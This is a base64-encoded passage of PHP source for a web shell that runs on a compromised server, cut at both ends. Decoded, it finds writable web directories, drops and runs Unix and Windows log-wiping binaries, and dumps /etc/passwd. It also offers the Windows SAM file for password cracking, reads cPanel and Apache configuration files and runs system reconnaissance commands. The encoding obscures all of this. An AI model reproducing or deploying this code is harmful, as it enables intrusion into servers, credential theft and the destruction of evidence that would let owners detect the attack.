L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPl08L2ZvbnQ+ICIgLiAkZGlyeiAuICI8YnI+XG5cciI7DQogICAgICAgIH0NCiAgICB9DQp9DQplY2hvICJbK10gRm91bmQgIiAuIHNpemVvZigkcGF0aF90b19wdWJsaWMpIC4gIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllcy48YnI+PGJyPlxuXHJcblxyIjsNCg0KaWYgKHNpemVvZigkcGF0aF90b19wdWJsaWMpICE9ICcwJykgew0KICAgZm9yZWFjaCAoJHBhdGhfdG9fcHVibGljIGFzICRwYXRoKSB7DQogICAgICAgICAgIA0KICAgfQ0KICAgDQogICBlY2hvICJbK10gRm91bmQgIiAuICRjb3VudCAuICIgd3JpdGFibGUgZGlyZWN0b3JpZXMuXG5cciI7DQogICBlY2hvICI8L2h0bWw+IjsNCn0NCg0KZnVuY3Rpb24gcmVhZF9kaXIoJHBhdGgpIHsNCiAgIGdsb2JhbCAkY291bnQ7DQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQogICAgICAgICAkZHI9IiRwYXRoJGZpbGUvIjsNCiAgICAgICAgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykgYW5kIGlzX2RpcigkZHIpKSB7DQogICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRyKSBhbmQgaXNfd3JpdGVhYmxlKCRkcikpIHsNCiAgICAgICAgICAgICAgIGVjaG8gIltSV10gIiAuICRkciAuICI8YnI+XG5cciI7DQogICAgICAgICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJlYWRfZGlyKCRkcik7DQogICAgICAgICB9DQogICAgICB9DQogICB9DQp9DQoNCg0KDQp9DQoNCg0KaWYgKCRhY3QgPT0gJ3phcDInKSB7IC8vICpuaXggY2xlYW5lcg0KCWlmIChpc193cml0YWJsZSgnLicpKSB7DQoJCWNmKCRhY3QsICQkYWN0KTsgLy8gJ3RpcyBwdXJlIGlubm92YXRpb24gb2Ygb3B0aW1pemF0aW9uIDopDQoJCWNobW9kKCRhY3QsIDA3NzcpOw0KCQkkY21kID0gJy4vJy4kYWN0OyAvLyBrZWVwIHRoaXMgYmVmb3JlICRhY3QgPSAnY21kJzsNCgkJJGFjdCA9ICdjbWQnOw0KCQkkY21kX3R4dCA9ICcxJzsNCgl9ZWxzZXsNCgkJZWNobyAnRGlyZWN0b3J5IElzIE5vdCBXcml0YWJsZSE8YnI+JzsNCgl9DQp9DQppZiAoJGFjdCA9PSAnY2xlYXJsb2dzJykgeyAvLyB3aW5kb3dzIGNsZWFuZXJzDQoJaWYgKGlzX3dyaXRhYmxlKCcuJykpIHsNCgkJY2YoJGFjdC4nLmV4ZScsICQkYWN0KTsNCgkJY2htb2QoJGFjdC4nLmV4ZScsIDA3NzcpOw0KCQkkY21kID0gJGFjdC4nLmV4ZSc7DQoJCSRhY3QgPSAnY21kJzsNCgkJJGNtZF90eHQgPSAnMSc7DQoJfWVsc2V7DQoJCWVjaG8gJ0RpcmVjdG9yeSBJcyBOb3QgV3JpdGFibGUhPGJyPic7DQoJfQ0KfQ0KDQppZiAoJHggPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgY2Fwcml2OGV4aXQoKTt9DQppZiAoJHggPT0gInNlY3VyaXR5Iikgew0KICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj5bIFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiBdPC9kaXY+Ii4NCiAgICAgICAiPHRhYmxlPiIuDQogICAgICAgIjx0cj48dGQ+T3BlbiBCYXNlIERpcjwvdGQ+PHRkPiIuJGhvcGVuYmFzZWRpci4iPC90ZD48L3RyPiI7DQogIGVjaG8gIjx0ZD5QYXNzd29yZCBGaWxlPC90ZD48dGQ+IjsNCiAgaWYgKCEkd2luKSB7DQogICAgaWYgKCRuaXhwYXNzd2QpIHsNCiAgICAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9DQogICAgICBlY2hvICIqbml4IC9ldGMvcGFzc3dkOjxicj4iOw0KICAgICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfcykpIHskbml4cHdkX3MgPSAwO30NCiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7fQ0KICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJuaXhwYXNzd2RcIiB2YWx1ZT1cIjFcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuaXhwd2RfZVwiIHZhbHVlPVwiIi4kbml4cHdkX2UuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+PGJyPiI7DQogICAgICAkaSA9ICRuaXhwd2RfczsNCiAgICAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkgew0KICAgICAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgICAgICBpZiAoJHVpZCkgew0KICAgICAgICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsNCiAgICAgICAgICBlY2hvIGpvaW4oIjoiLCR1aWQpLiI8YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOw0KICAgIGlmIChmaWxlX2dldF9jb250ZW50cygkdikpIHtlY2hvICI8dGQgY29sc3Bhbj0yPjxkaXYgY2xhc3M9ZnhlcnJtc2c+WW91IGNhbid0IGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzKCIuJHYuIik8L2Rpdj48L3RkPjwvdHI+IjsgfQ0KICAgIGVsc2Uge2VjaG8gIllvdSBjYW4gY3JhY2sgV2luZG93cyBwYXNzd29yZHMuIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj1zYW0mZD0iLiRfU0VSVkVSWyJXSU5ESVIiXS4iXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48dT48Yj5Eb3dubG9hZDwvYj48L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srID8uPC90ZD48L3RyPiI7fQ0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj4iOw0KICBlY2hvICI8dHI+PHRkPkNvbmZpZyBGaWxlczwvdGQ+PHRkPiI7DQogIGlmICghJHdpbikgew0KICAgICR2ID0gYXJyYXkoDQogICAgICAgIGFycmF5KCJVc2VyIERvbWFpbnMiLCIvZXRjL3VzZXJkb21haW5zIiksDQogICAgICAgIGFycmF5KCJDcGFuZWwgQ29uZmlnIiwiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSwNCiAgICAgICAgYXJyYXkoIkFwYWNoZSBDb25maWciLCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiKSwNCiAgICAgICAgYXJyYXkoIkFwYWNoZSBDb25maWciLCIvZXRjL2h0dHBkLmNvbmYiKSwNCiAgICAgICAgYXJyYXkoIlN5c2xvZyBDb25maWciLCIvZXRjL3N5c2xvZy5jb25mIiksDQogICAgICAgIGFycmF5KCJNZXNzYWdlIG9mIFRoZSBEYXkiLCIvZXRjL21vdGQiKSwNCiAgICAgICAgYXJyYXkoIkhvc3RzIiwiL2V0Yy9ob3N0cyIpDQogICAgKTsNCiAgICAkc2VwID0gIi8iOw0KICB9DQogIGVsc2Ugew0KICAgICR3aW5kaXIgPSAkX1NFUlZFUlsiV0lORElSIl07DQogICAgJGV0Y2RpciA9ICR3aW5kaXIgLiAiXHN5c3RlbTMyXGRyaXZlcnNcZXRjXFwiOw0KICAgICR2ID0gYXJyYXkoDQogICAgICAgIGFycmF5KCJIb3N0cyIsJGV0Y2Rpci4iaG9zdHMiKSwNCiAgICAgICAgYXJyYXkoIkxvY2FsIE5ldHdvcmsgTWFwIiwkZXRjZGlyLiJuZXR3b3JrcyIpLA0KICAgICAgICBhcnJheSgiTE0gSG9zdHMiLCRldGNkaXIuImxtaG9zdHMuc2FtIiksDQogICAgKTsNCiAgICAkc2VwID0gIlxcIjsNCiAgfQ0KICBmb3JlYWNoICgkdiBhcyAkc2VjX2Fycikgew0KICAgICRzZWNfZiA9IHN1YnN0cihzdHJyY2hyKCRzZWNfYXJyWzFdLCAkc2VwKSwgMSk7DQogICAgJHNlY19kID0gcnRyaW0oJHNlY19hcnJbMV0sJHNlY19mKTsNCiAgICAkc2VjX2Z1bGwgPSAkc2VjX2QuJHNlY19mOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfZCwkc2VwKTsNCiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHNlY19mdWxsKSkgew0KICAgICAgZWNobyAiIFsgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSRzZWNfZiZkPSIudXJsZW5jb2RlKCRzZWNfZCkuIiZmdD10eHRcIj48dT48Yj4iLiRzZWNfYXJyWzBdLiI8L2I+PC91PjwvYT4gXSAiOw0KICAgIH0NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCg0KICBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHsNCiAgICBpZiAoIWVtcHR5KCR2YWx1ZSkpIHsNCiAgICAgIGVjaG8gIjx0cj48dGQ+Ii4kbmFtZS4iPC90ZD48dGQ+PHByZT4iLndvcmR3cmFwKCR2YWx1ZSwxMDApLiI8L3ByZT48L3RkPjwvdHI+IjsNCiAgICB9DQogIH0NCiAgaWYgKCEkd2luKSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiS2VybmVsIFZlcnNpb24iLG15c2hlbGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiQ1BVIEluZm8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiSEREIFNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTW91bnQgT3B0aW9ucyIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2ZzdGFiIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJseW54IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJsaW5rcyBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiR0VUIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oInBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIEFwYWNoZT8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7DQogIH0NCiAgZWxzZSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJ2ZXIiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLG15c2hlbGxleGVjKCJuZXQgYWNjb3VudHMiKSk7DQogIH0NCiAgZWNobyAiPC90YWJsZT5cbiI7DQp9DQppZiAoJHggPT0gIm1rZmlsZSIpIHsNCmlmICgkbWtmaWxlICE9ICRkKSB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWFkeSBleGlzdHMhIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkISI7fQ0KICBlbHNlIHskeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRta2ZpbGUpOyBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQ0KfQ0KZWxzZSB7JHggPSAkZHNwYWN0ID0gImxzIjt9DQp9DQppZiAoJHggPT0gImVuY29kZXIiKSB7DQplY2hvICI8c2NyaXB0IGxhbmd1YWdlPVwiamF2YXNjcmlwdFwiPmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+Ii4NCiAgICAgIjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ZW5jb2Rlcj4iLg0KICAgICAiPGNlbnRlcj48dGFibGUgY2xhc3M9Y29udGVudHM+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj00IGNsYXNzPWJhcmhlYWRlcj5bIEVuY29kZXIgXTwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjx0cj48dGQ+T25saW5lIG1kNSAsIHNoYTEgLCBteXNxbCBwYXNzd29yZCBjcmFja2VyPHRkPjxhIGhyZWY9XCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbVwiIHRhcmdldD1fYmxhbms+RW50ZXI8L2E+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJHggPT0gImZzYnVmZiIpIHsNCiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30NCiAgZWxzZSB7DQogICAgJGZ4X2luZm9oZWFkID0gIkZpbGUtU3lzdGVtIEJ1ZmZlciI7DQogICAgJGxzX2FyciA9ICRhcnI7DQogICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KPz4NCjw/DQppZiAoJHggPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyBGaWxlLVN5c3RlbSBTZWFyY2ggXTwvZGl2PiI7DQogIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIiguKikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9DQogIGlmIChlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSkgeyRzZWFyY2hfdGV4dF9yZWdleHAgPSAwO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgICRmb3VuZCA9IGFycmF5KCk7DQogICAgJGZvdW5kX2QgPSAwOw0KICAgICRmb3VuZF9mID0gMDsNCiAgICAkc2VhcmNoX2lfZiA9IDA7DQogICAgJHNlYXJjaF9pX2QgPSAwOw0KICAgICRhID0gYXJyYXkoDQogICAgICAgICJuYW1lIj0+JHNlYXJjaF9uYW1lLA0KICAgICAgICAibmFtZV9yZWdleHAiPT4kc2VhcmNoX25hbWVfcmVnZXhwLA0KICAgICAgICAidGV4dCI9PiRzZWFyY2hfdGV4dCwNCiAgICAgICAgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLA0KICAgICAgICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLA0KICAgICAgICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywNCiAgICAgICAgInRleHRfbm90Ij0+JHNlYXJjaF90ZXh0X25vdA0KICAgICk7DQogICAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAkaW4gPSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOw0KICAgIGZvcmVhY2goJGluIGFzICR2KSB7Y2Fmc2VhcmNoKCR2KTt9DQogICAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsNCiAgICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiTm8gZmlsZXMgZm91bmQhIjt9DQogICAgZWxzZSB7DQogICAgICAkbHNfYXJyID0gJGZvdW5kOw0KICAgICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICAgJHggPSAibHMiOw0KICAgIH0NCiAgfQ0KICBlY2hvICI8dGFibGUgY2xhc3M9Y29udGVudHM+Ii4NCiAgICAgICAiPHRyPjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD4iLg0KICAgICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4iLg0KICAgICAgICJGaWxlIG9yIGZvbGRlciBOYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfbmFtZVwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX25hbWUpKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9uYW1lKS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfbmFtZV9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX25hbWVfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBSZWd1bGFyIEV4cHJlc3Npb248L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5Mb29rIGluIChTZXBhcmF0ZSBieSBcIjtcIik6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5BIHdvcmQgb3IgcGhyYXNlIGluIHRoZSBmaWxlOjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiNTBcIiByb3dzPVwiNVwiPiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX3RleHQpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXh